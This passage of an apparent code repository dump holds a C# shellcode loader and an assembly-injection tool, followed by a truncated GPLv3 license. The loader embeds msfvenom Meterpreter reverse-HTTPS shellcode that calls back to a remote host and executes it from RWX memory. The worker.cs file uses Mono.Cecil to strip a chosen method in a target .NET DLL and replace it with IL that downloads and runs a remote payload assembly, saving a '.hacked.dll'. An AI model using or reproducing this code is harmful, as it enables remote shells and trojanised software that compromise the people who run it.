IntPtr CreateThread( 26 | 27 | UInt32 lpThreadAttributes, 28 | UInt32 dwStackSize, 29 | UInt32 lpStartAddress, 30 | IntPtr param, 31 | UInt32 dwCreationFlags, 32 | ref UInt32 lpThreadId 33 | 34 | ); 35 | [DllImport("kernel32")] 36 | private static extern bool CloseHandle(IntPtr handle); 37 | 38 | [DllImport("kernel32")] 39 | private static extern UInt32 WaitForSingleObject( 40 | 41 | IntPtr hHandle, 42 | UInt32 dwMilliseconds 43 | ); 44 | [DllImport("kernel32")] 45 | private static extern IntPtr GetModuleHandle( 46 | 47 | string moduleName 48 | 49 | ); 50 | [DllImport("kernel32")] 51 | private static extern UInt32 GetProcAddress( 52 | 53 | IntPtr hModule, 54 | string procName 55 | 56 | ); 57 | [DllImport("kernel32")] 58 | private static extern UInt32 LoadLibrary( 59 | string lpFileName 60 | 61 | ); 62 | 63 | [DllImport("kernel32")] 64 | private static extern UInt32 GetLastError(); 65 | public void own() 66 | { 67 | // native function’s compiled code 68 | // generated with msfvenom (msfvenom -p windows/x64/meterpreter/reverse_https LPORT=8443 LHOST=1.2.3.4 -f csharp) 69 | byte[] shellcode = new byte[688] { 70 | 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, 71 | 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, 72 | 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9, 73 | 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, 74 | 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48, 75 | 0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b, 76 | 0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b, 77 | 0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41, 78 | 0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1, 79 | 0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45, 80 | 0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b, 81 | 0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01, 82 | 0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48, 83 | 0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9, 84 | 0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69, 85 | 0x6e,0x65,0x74,0x00,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26, 86 | 0x07,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31, 87 | 0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x00,0x00,0x00,0x00,0xff,0xd5, 88 | 0xe8,0x0d,0x00,0x00,0x00,0x31,0x30,0x2e,0x32,0x30,0x2e,0x32,0x39,0x2e,0x31, 89 | 0x33,0x37,0x00,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0xfb,0x20,0x00,0x00,0x4d, 90 | 0x31,0xc9,0x53,0x53,0x6a,0x03,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x00,0x00, 91 | 0x00,0x00,0xff,0xd5,0xe8,0x88,0x00,0x00,0x00,0x2f,0x78,0x46,0x62,0x35,0x4d, 92 | 0x65,0x52,0x4c,0x69,0x35,0x67,0x30,0x72,0x54,0x57,0x76,0x61,0x56,0x38,0x4f, 93 | 0x58,0x67,0x42,0x44,0x4b,0x77,0x54,0x6d,0x4d,0x42,0x35,0x75,0x54,0x64,0x67, 94 | 0x71,0x43,0x37,0x2d,0x6b,0x59,0x79,0x48,0x36,0x58,0x2d,0x36,0x46,0x7a,0x54, 95 | 0x2d,0x59,0x5f,0x68,0x4c,0x4f,0x72,0x71,0x31,0x31,0x4b,0x62,0x41,0x4b,0x6b, 96 | 0x71,0x78,0x74,0x35,0x5a,0x52,0x6e,0x6c,0x45,0x36,0x36,0x63,0x77,0x4a,0x6a, 97 | 0x7a,0x4b,0x4c,0x55,0x65,0x4d,0x47,0x6e,0x5a,0x64,0x4a,0x79,0x69,0x76,0x59, 98 | 0x51,0x39,0x66,0x68,0x56,0x4b,0x66,0x63,0x78,0x48,0x39,0x65,0x59,0x69,0x59, 99 | 0x79,0x42,0x53,0x4c,0x42,0x73,0x6e,0x4f,0x77,0x75,0x4f,0x5a,0x4e,0x61,0x62, 100 | 0x4c,0x56,0x44,0x78,0x30,0x56,0x2d,0x32,0x51,0x00,0x48,0x89,0xc1,0x53,0x5a, 101 | 0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0xb8,0x00,0x32,0xa0,0x84,0x00,0x00,0x00, 102 | 0x00,0x50,0x53,0x53,0x49,0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89, 103 | 0xc6,0x6a,0x0a,0x5f,0x48,0x89,0xf1,0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33,0x00, 104 | 0x00,0x49,0x89,0xe0,0x6a,0x04,0x41,0x59,0x49,0xba,0x75,0x46,0x9e,0x86,0x00, 105 | 0x00,0x00,0x00,0xff,0xd5,0x4d,0x31,0xc0,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31, 106 | 0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,0x2d,0x06,0x18,0x7b,0xff,0xd5, 107 | 0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,0x00,0x00,0x49,0xba,0x44,0xf0, 108 | 0x35,0xe0,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0xff,0xcf,0x74,0x02,0xeb,0xaa, 109 | 0xe8,0x55,0x00,0x00,0x00,0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2, 110 | 0x10,0x49,0xc7,0xc0,0x00,0x10,0x00,0x00,0x49,0xba,0x58,0xa4,0x53,0xe5,0x00, 111 | 0x00,0x00,0x00,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1, 112 | 0x48,0x89,0xda,0x49,0xc7,0xc0,0x00,0x20,0x00,0x00,0x49,0x89,0xf9,0x49,0xba, 113 | 0x12,0x96,0x89,0xe2,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85, 114 | 0xc0,0x74,0xb2,0x66,0x8b,0x07,0x48,0x01,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3, 115 | 0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 }; 116 | 117 | UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, 118 | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 119 | Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length); 120 | IntPtr hThread = IntPtr.Zero; 121 | UInt32 threadId = 0; 122 | // prepare data 123 | 124 | IntPtr pinfo = IntPtr.Zero; 125 | 126 | // execute native code 127 | 128 | hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); 129 | WaitForSingleObject(hThread, 0xFFFFFFFF); 130 | 131 | } 132 | } 133 | } 134 | -------------------------------------------------------------------------------- /netrefject-control/worker.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Reflection; 4 | using System.Linq; 5 | 6 | //Payload usings 7 | using System.IO; 8 | using System.Net.Sockets; 9 | using System.Net; 10 | 11 | using Mono.Cecil; 12 | using Mono.Cecil.Cil; 13 | 14 | namespace netrefject 15 | { 16 | class Worker 17 | { 18 | Assembly a = null; 19 | Dictionary methods = new Dictionary(); 20 | 21 | public static void syntax() 22 | { 23 | Console.WriteLine("netrefject filename payloadURI payloadMethod (Method should have no parameters) payloadClass (namespace.class)"); 24 | Console.WriteLine("netrefject assemblytohack.dll file:///path/payload.dll payloadMethodToExecute namespace.payloadClass"); 25 | Console.WriteLine("netrefject assemblytohack.dll http://path/payload.dll payloadMethodToExecute namespace.payloadClass"); 26 | Console.WriteLine("netrefject assemblytohack.dll https://path/payload.dll payloadMethodToExecute namespace.payloadClass"); 27 | } 28 | 29 | public void HandleInjectionFlow(string filename, string payloadURI, string payloadMethod, string payloadClass) 30 | { 31 | try{ 32 | MethodInfo injectMethod = findInjectionMethod(filename,payloadURI,payloadMethod, payloadClass); 33 | if (injectMethod != null) 34 | Console.WriteLine("[SUCCESS] injected into " + injectMethod.Name); 35 | else{ 36 | Console.WriteLine("[SUCCESS]"); 37 | } 38 | } 39 | catch(Exception e){ 40 | Console.WriteLine("[FAILURE]" + e.Message); 41 | } 42 | } 43 | 44 | #region method enum 45 | private MethodInfo findInjectionMethod(string filename, string payloadURI, string payloadMethod, string payloadClass) 46 | { 47 | MethodInfo mi = null; 48 | 49 | try 50 | { 51 | Assembly origAssy = Assembly.LoadFrom(filename); 52 | 53 | Console.WriteLine("[+] Loading modules"); 54 | 55 | Dictionary internalModules = new Dictionary(); 56 | int counter = 1; 57 | 58 | //Enumerate modules 59 | foreach (Module m in origAssy.GetLoadedModules()) 60 | { 61 | internalModules.Add(counter, m); 62 | Console.WriteLine("[*] " + counter.ToString() + " " + m.Name); 63 | counter++; 64 | } 65 | 66 | int moduleNumber = -1; 67 | //User chooses module 68 | while (!internalModules.ContainsKey(moduleNumber)) { 69 | moduleNumber = chooseNumber("Please choose module number for type enumeration"); 70 | } 71 | 72 | Console.WriteLine("[*] Enumerating Module " + internalModules[moduleNumber].FullyQualifiedName); 73 | 74 | Dictionary internalModuleTypes = new Dictionary(); 75 | counter = 1; 76 | 77 | //Enumerate Types on chosen module 78 | foreach (Type t in internalModules[moduleNumber].GetTypes()) 79 | { 80 | internalModuleTypes.Add(counter, t); 81 | Console.WriteLine("[*] " + counter.ToString() + " " + t.Name); 82 | counter++; 83 | } 84 | 85 | int classNumber = -1; 86 | //User chooses type 87 | while (!internalModuleTypes.ContainsKey(classNumber)) 88 | { 89 | classNumber = chooseNumber("Please choose type number for method enumeration"); 90 | } 91 | 92 | Console.WriteLine("[*] Enumerating Type " + internalModuleTypes[classNumber].FullName); 93 | 94 | Dictionary internalMethods = new Dictionary(); 95 | counter = 1; 96 | 97 | //Enumerate Methods 98 | foreach(MethodInfo imi in internalModuleTypes[classNumber].GetRuntimeMethods()) 99 | { 100 | internalMethods.Add(counter, imi); 101 | Console.WriteLine("[*] " + counter.ToString() + " " + imi.Name); 102 | counter++; 103 | foreach (ParameterInfo pi in imi.GetParameters()) 104 | { 105 | Console.WriteLine("[*]\t" + pi.Name + ":" + pi.ParameterType.FullName); 106 | } 107 | } 108 | 109 | int methodNumber = -1; 110 | while (!internalMethods.ContainsKey(methodNumber)) 111 | { 112 | methodNumber = chooseNumber("Please choose method number for injection"); 113 | } 114 | 115 | Console.WriteLine("[!!] Will try inject payload into:"); 116 | Console.WriteLine("\tModule:" + internalModules[moduleNumber].FullyQualifiedName); 117 | Console.WriteLine("\tClass:" + internalModuleTypes[classNumber].FullName); 118 | Console.WriteLine("\tMethod:" + internalMethods[methodNumber].Name); 119 | 120 | //injectBadStuffLame(internalModules[moduleNumber], internalModuleTypes[classNumber], internalMethods[methodNumber]); 121 | injectBadStuff(internalModules[moduleNumber], internalModuleTypes[classNumber], internalMethods[methodNumber], payloadURI, payloadMethod, payloadClass); 122 | } 123 | catch(Exception e) 124 | { 125 | Console.WriteLine(e.Message + ":" + e.StackTrace); 126 | } 127 | 128 | return mi; 129 | } 130 | 131 | private int chooseNumber(string question) 132 | { 133 | string numberInput = ""; 134 | int number; 135 | 136 | while (!int.TryParse(numberInput, out number)) 137 | { 138 | Console.Write("[?] " + question + ":"); 139 | numberInput = Console.ReadLine(); 140 | } 141 | 142 | return number; 143 | } 144 | #endregion 145 | 146 | /// 147 | /// Cecil code with thanks from Hopeless 148 | /// https://stackoverflow.com/questions/46052447/replace-methods-body-with-body-of-another-method-using-mono-cecil 149 | /// Also 150 | /// https://stackoverflow.com/questions/24852885/mono-cecil-add-class-with-method-into-assembly 151 | /// 152 | /// 153 | /// 154 | /// 155 | /// URI to Assembly containing your payload 156 | /// Method Name to execute once payload is loaded 157 | /// 158 | private bool injectBadStuff(Module moduleT, Type classT, MethodInfo methodT, string payloadURI, string payloadMethod, string payloadClass) 159 | { 160 | AssemblyDefinition targetAsm = AssemblyDefinition.ReadAssembly(moduleT.Assembly.Location); 161 | TypeDefinition targetType = targetAsm.MainModule.Types.FirstOrDefault(e => e.Name == classT.Name); 162 | MethodDefinition m1 = targetType.Methods.FirstOrDefault(x => x.Name == methodT.Name); 163 | 164 | Console.WriteLine("Instructions Before:" + m1.Body.Instructions.Count.ToString()); 165 | 166 | injectShell(m1, classT, methodT, payloadURI,payloadMethod,payloadClass); 167 | 168 | Console.WriteLine("Instructions After:" + m1.Body.Instructions.Count.ToString()); 169 | 170 | //finally write to another output assembly 171 | targetAsm.Write(moduleT.Assembly.FullName + ".hacked.dll"); 172 | 173 | return true; 174 | } 175 | 176 | private void injectShell(MethodDefinition m1, Type classT, MethodInfo methodT, string payloadURI, string payloadMethod, string payloadClass){ 177 | //Heavily modified, but based on 178 | //HackForums by a guy called TheBigDamnGa 179 | //https://hackforums.net/showthread.php?tid=5924760 180 | 181 | ILProcessor ilp = m1.Body.GetILProcessor(); 182 | //Remove All code and variables 183 | m1.Body.Instructions.Clear(); 184 | m1.Body.Variables.Clear(); 185 | m1.Body.ExceptionHandlers.Clear(); 186 | 187 | //Used to just remove the ret but I'm not sure if adding variables will fuck shit up so im clearing everything for now 188 | //ilp.Remove(m1.Body.Instructions[m1.Body.Instructions.Count-1]); 189 | 190 | // Initialize References 191 | References refs = new References(); 192 | refs.uint8 = m1.Module.ImportReference(typeof(byte[])); 193 | refs.Assembly = m1.Module.ImportReference(typeof(Assembly)); 194 | refs.MethodInfo = m1.Module.ImportReference(typeof(MethodInfo)); 195 | refs.var = m1.Module.ImportReference(typeof(object)); 196 | refs.boolean = m1.Module.ImportReference(typeof(bool)); 197 | refs.var_array = m1.Module.ImportReference(typeof(object[])); 198 | refs.int32 = m1.Module.ImportReference(typeof(int)); 199 | refs.Exception = m1.Module.ImportReference(typeof(Exception)); 200 | 201 | refs.WebClientCtor = m1.Module.ImportReference(typeof(WebClient).GetConstructor(new Type[] { })); 202 | refs.WebClient_DownloadData = m1.Module.ImportReference(typeof(WebClient).GetMethod("DownloadData", new Type[] { typeof(string) })); 203 | 204 | refs.Assembly_Load = m1.Module.ImportReference(typeof(Assembly).GetMethod("Load", new Type[] { typeof(sbyte[]) })); 205 | refs.Assembly_getEntryPoint = m1.Module.ImportReference(typeof(Assembly).GetMethod("get_EntryPoint", new Type[] { })); 206 | refs.Assembly_CreateInstance = m1.Module.ImportReference(typeof(Assembly).GetMethod("CreateInstance", new Type[] { typeof(string) })); 207 | 208 | refs.MemberInfo_getName = m1.Module.ImportReference(typeof(MemberInfo).GetMethod("get_Name", new Type[] { })); 209 | 210 | refs.MethodBase_GetParameters = m1.Module.ImportReference(typeof(MethodBase).GetMethod("GetParameters", new Type[] { })); 211 | refs.MethodBase_Invoke = m1.Module.ImportReference(typeof(MethodBase).GetMethod("Invoke", new Type[] { typeof(object), typeof(object[]) })); 212 | 213 | 214 | m1.Body.InitLocals = true; 215 | m1.Body.Variables.Add(new VariableDefinition(refs.uint8)); 216 | //Remote Class Instance Variable 217 | m1.Body.Variables.Add(new VariableDefinition(refs.var)); 218 | //Remote class Type Variable 219 | m1.Body.Variables.Add(new VariableDefinition(m1.Module.ImportReference(typeof(Type)))); 220 | m1.Body.Variables.Add(new VariableDefinition(refs.var)); 221 | 222 | var evilRemoteBytesVar = m1.Body.Variables.ElementAt(0); 223 | var instantiatedEvilTypeVar = m1.Body.Variables.ElementAt(1); 224 | var typeVariable = m1.Body.Variables.ElementAt(2); 225 | var someResultObjectVar = m1.Body.Variables.ElementAt(3); 226 | 227 | ilp.Append(Instruction.Create(OpCodes.Nop)); 228 | ilp.Append(Instruction.Create(OpCodes.Nop)); 229 | 230 | Instruction RETI = Instruction.Create(OpCodes.Ret); 231 | Instruction POPI = Instruction.Create(OpCodes.Pop); 232 | Instruction NOPI = Instruction.Create(OpCodes.Nop); 233 | 234 | ilp.Append(Instruction.Create(OpCodes.Nop)); 235 | 236 | //ilp.Append(ilp.Create (OpCodes.Ldstr, "INJECTED EVIL")); 237 | //ilp.Append(ilp.Create (OpCodes.Call, m1.Module.ImportReference (typeof (Console).GetMethod ("WriteLine", new [] { typeof (string) })))); 238 | 239 | //Download DLL 240 | ilp.Append(Instruction.Create(OpCodes.Nop)); 241 | ilp.Append(Instruction.Create(OpCodes.Newobj, m1.Module.ImportReference(typeof(WebClient).GetConstructor(new Type[] { })))); 242 | ilp.Append(Instruction.Create(OpCodes.Ldstr, payloadURI)); 243 | ilp.Append(Instruction.Create(OpCodes.Callvirt, m1.Module.ImportReference(typeof(WebClient).GetMethod("DownloadData", new Type[] { typeof(string) })))); 244 | ilp.Append(Instruction.Create(OpCodes.Stloc_0)); 245 | 246 | //Load into memory 247 | ilp.Append(Instruction.Create(OpCodes.Ldloc_0)); 248 | ilp.Append(Instruction.Create(OpCodes.Call, refs.Assembly_Load)); 249 | 250 | //Create instance of class 251 | ilp.Append(Instruction.Create(OpCodes.Ldstr, payloadClass)); 252 | ilp.Append(Instruction.Create(OpCodes.Callvirt, m1.Module.ImportReference(typeof(Assembly).GetMethod("CreateInstance", new Type[] { typeof(string) })))); 253 | ilp.Append(Instruction.Create(OpCodes.Stloc_S,instantiatedEvilTypeVar)); 254 | //ilp.Append(Instruction.Create(OpCodes.Stloc_1)); 255 | 256 | //Load type of class in order to call method 257 | ilp.Append(Instruction.Create(OpCodes.Ldloc_1)); 258 | ilp.Append(Instruction.Create(OpCodes.Callvirt, m1.Module.ImportReference (typeof (object).GetMethod ("GetType", new Type[] {})))); 259 | //Type is now on stack... 260 | 261 | //Call method in class with Type.InvokeMember 262 | ilp.Append(ilp.Create(OpCodes.Ldstr,payloadMethod)); 263 | ilp.Append(ilp.Create(OpCodes.Ldc_I4,0x100)); 264 | ilp.Append(ilp.Create(OpCodes.Ldnull)); 265 | ilp.Append(ilp.Create(OpCodes.Ldloc_1)); 266 | ilp.Append(ilp.Create(OpCodes.Ldnull)); 267 | 268 | ilp.Append(ilp.Create(OpCodes.Callvirt, 269 | m1.Module.ImportReference( 270 | typeof(Type).GetMethod("InvokeMember", 271 | new Type[] { 272 | typeof(string), 273 | typeof(BindingFlags), 274 | typeof(Binder), 275 | typeof(object), 276 | typeof(object[]) 277 | }) 278 | ) 279 | ) 280 | ); 281 | 282 | m1.Body.Instructions.Add(Instruction.Create(OpCodes.Pop)); 283 | m1.Body.Instructions.Add(Instruction.Create(OpCodes.Nop)); 284 | 285 | //ilp.Append(ilp.Create (OpCodes.Ldstr, "Wattefok dit werk nou bra")); 286 | //ilp.Append(ilp.Create (OpCodes.Call, m1.Module.ImportReference (typeof (Console).GetMethod ("WriteLine", new [] { typeof (string) })))); 287 | 288 | ilp.Append(Instruction.Create(OpCodes.Nop)); 289 | 290 | //Add our new ret 291 | ilp.Append(RETI); 292 | return; 293 | } 294 | } 295 | } 296 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | 